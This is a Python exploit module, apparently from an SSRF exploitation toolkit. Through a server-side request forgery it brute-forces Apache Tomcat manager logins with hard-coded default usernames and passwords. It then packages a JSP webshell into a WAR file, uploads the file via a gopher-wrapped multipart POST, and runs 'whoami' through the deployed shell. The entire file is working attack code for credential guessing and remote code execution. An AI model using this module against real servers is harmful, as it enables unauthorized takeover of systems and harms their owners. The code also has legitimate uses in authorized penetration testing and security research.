166 lines
7.2 KiB
Python
166 lines
7.2 KiB
Python
from core.utils import *
|
|
import argparse
|
|
import base64
|
|
import binascii
|
|
import getopt
|
|
import logging
|
|
import re
|
|
import sys
|
|
import urllib
|
|
import zipfile
|
|
|
|
|
|
# NOTE
|
|
# This exploit is a Python 3 version of Pimps script
|
|
# with a simple bruteforcer and auto exploiter
|
|
# https://github.com/pimps/gopher-tomcat-deployer
|
|
|
|
name = "tomcat"
|
|
description = "Tomcat - Bruteforce manager and WAR uploader"
|
|
author = "Swissky"
|
|
documentation = [
|
|
"https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html",
|
|
"https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown",
|
|
"https://github.com/pimps/gopher-tomcat-deployer"
|
|
]
|
|
|
|
class exploit():
|
|
SERVER_HOST = "127.0.0.1"
|
|
SERVER_PORT = "8888"
|
|
SERVER_TOMCAT = "manager/html"
|
|
SERVER_USER = "tomcat"
|
|
SERVER_PASS = "tomcat"
|
|
EXPLOIT_JSP = "data/cmd.jsp"
|
|
EXPLOIT_WAR = "/tmp/cmd.war"
|
|
tomcat_user = ["tomcat", "admin", "both", "manager", "role1", "role", "root"]
|
|
tomcat_pass = ["password", "tomcat", "admin", "manager", "role1", "changethis", "changeme", "r00t", "root", "s3cret","Password1", "password1"]
|
|
|
|
def __init__(self, requester, args):
|
|
logging.info("Module '{}' launched !".format(name))
|
|
self.args = args
|
|
|
|
# Using a generator to create the host list
|
|
gen_host = gen_ip_list(self.SERVER_HOST, args.level)
|
|
for ip in gen_host:
|
|
for usr in self.tomcat_user:
|
|
for pss in self.tomcat_pass:
|
|
payload = wrapper_http(self.SERVER_TOMCAT, ip, self.SERVER_PORT, usernm=usr, passwd=pss)
|
|
r = requester.do_request(args.param, payload)
|
|
|
|
if r != None and not "s3cret" in r.text:
|
|
logging.info("Found credential \033[32m{}\033[0m:\033[32m{}\033[0m".format(usr, pss))
|
|
self.SERVER_USER = usr
|
|
self.SERVER_PASS = pss
|
|
|
|
# bruteforce padding for a good zip file
|
|
# worst solution until I find an alternate
|
|
# way to convert the is_ascii from the original
|
|
# Python 2 payload
|
|
for i in range(5):
|
|
payload = self.send_war(i)
|
|
r = requester.do_request(args.param, payload)
|
|
|
|
if args.verbose == True:
|
|
logging.info("Generated payload : {}".format(payload))
|
|
|
|
logging.info("Sending CMD to cmd.jsp for padding: {}".format(i))
|
|
payload = wrapper_http("cmd/cmd.jsp?cmd=whoami", self.SERVER_HOST, self.SERVER_PORT)
|
|
r = requester.do_request(args.param, payload)
|
|
if r.text != None and r.text != "":
|
|
logging.info(r.text)
|
|
break
|
|
|
|
|
|
def send_war(self, padding):
|
|
with open(self.EXPLOIT_JSP, 'r') as f:
|
|
webshell_data = f.read()
|
|
webshell_data = self.validate_webshell_length_and_crc32(webshell_data + ' '*padding)
|
|
|
|
if self.args.verbose == True:
|
|
logging.info("[+] Creating new zip file: " + self.EXPLOIT_WAR)
|
|
self.create_war_zip_file(self.EXPLOIT_WAR, self.EXPLOIT_JSP, webshell_data)
|
|
|
|
if self.args.verbose == True:
|
|
logging.info("[+] Valid WAR file generated... Creating the gopher payload now...")
|
|
gopher_payload = self.build_gopher_payload()
|
|
|
|
return wrapper_gopher(gopher_payload, self.SERVER_HOST, self.SERVER_PORT)
|
|
|
|
def create_war_zip_file(self, war_filename,inputfile,webshell_data):
|
|
warzip = zipfile.ZipFile(war_filename,'w')
|
|
# Write a known good date/war_filename stamp
|
|
# this date/time does not contain and invalid byte values
|
|
info = zipfile.ZipInfo(inputfile,date_time=(1980, 1, 1, 0, 0, 0))
|
|
# Write out the webshell the zip file.
|
|
warzip.writestr(info,webshell_data)
|
|
warzip.close()
|
|
|
|
def validate_webshell_length_and_crc32(self, webshell_data):
|
|
valid_length=0
|
|
valid_crc32=0
|
|
modded_length=0
|
|
|
|
if self.args.verbose == True:
|
|
logging.info("Original file length: {}".format('{0:0{1}X}'.format(len(webshell_data),8)))
|
|
logging.info("Original file crc32: {}".format(format(binascii.crc32(webshell_data.encode())& 0xffffffff, 'x')))
|
|
|
|
while valid_length == 0 or valid_crc32 == 0:
|
|
crc_string = format(binascii.crc32(webshell_data.encode())& 0xffffffff, 'x')
|
|
ws_len_byte_string = '{0:0{1}X}'.format(len(webshell_data),8)
|
|
valid_length=1
|
|
valid_crc32=1
|
|
lead_byte_locations = [0,2,4,6]
|
|
for x in lead_byte_locations:
|
|
try:
|
|
if(ws_len_byte_string[x] == '8' or ws_len_byte_string[x] == '9' or crc_string[x] == '8' or crc_string[x] == '9'):
|
|
webshell_data = webshell_data+" "
|
|
valid_length = 0
|
|
valid_crc32 = 0
|
|
modded_length = modded_length+1
|
|
except:
|
|
continue
|
|
|
|
if modded_length > 0:
|
|
logging.info("The input file CRC32 or file length contained an invalid byte.")
|
|
logging.info("Length adjustment completed. " + str(modded_length) + " whitespace ' ' chars were added to the webshell input.")
|
|
logging.info("New file length: " +'{0:0{1}X}'.format(len(webshell_data),8))
|
|
logging.info("New file crc32: " + format(binascii.crc32(webshell_data.encode())& 0xffffffff, 'x'))
|
|
return webshell_data
|
|
|
|
def url_encode_all(self, string):
|
|
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
|
|
|
|
def build_gopher_payload(self):
|
|
warfile = ""
|
|
with open(self.EXPLOIT_WAR, 'rb') as f:
|
|
warfile = f.read()
|
|
|
|
headers = 'POST /manager/html/upload HTTP/1.1\r\n'
|
|
headers += 'Host: {host}:{port}\r\n'
|
|
headers += 'Content-Type: multipart/form-data; boundary=---------------------------1510321429715549663334762841\r\n'
|
|
headers += 'Content-Length: {contentlength}\r\n'
|
|
headers += 'Authorization: Basic {credential}\r\n'
|
|
headers += 'Connection: close\r\n'
|
|
headers += 'Upgrade-Insecure-Requests: 1\r\n'
|
|
headers += '\r\n'
|
|
headers += '{content_body}'
|
|
|
|
content = '-----------------------------1510321429715549663334762841\r\n'
|
|
content += 'Content-Disposition: form-data; name="deployWar"; filename="{filename}"\r\n'
|
|
content += 'Content-Type: application/octet-stream\r\n'
|
|
content += '\r\n'
|
|
content += '{warfile}\r\n'
|
|
content += '-----------------------------1510321429715549663334762841--\r\n'
|
|
|
|
content_body = content.format(
|
|
filename=self.EXPLOIT_WAR,
|
|
warfile=warfile
|
|
)
|
|
payload = headers.format(
|
|
host=self.SERVER_HOST,
|
|
port=self.SERVER_PORT,
|
|
credential=base64.b64encode((self.SERVER_USER + ":" + self.SERVER_PASS).encode()),
|
|
contentlength=len(content_body),
|
|
content_body=content_body
|
|
)
|
|
return self.url_encode_all(payload) |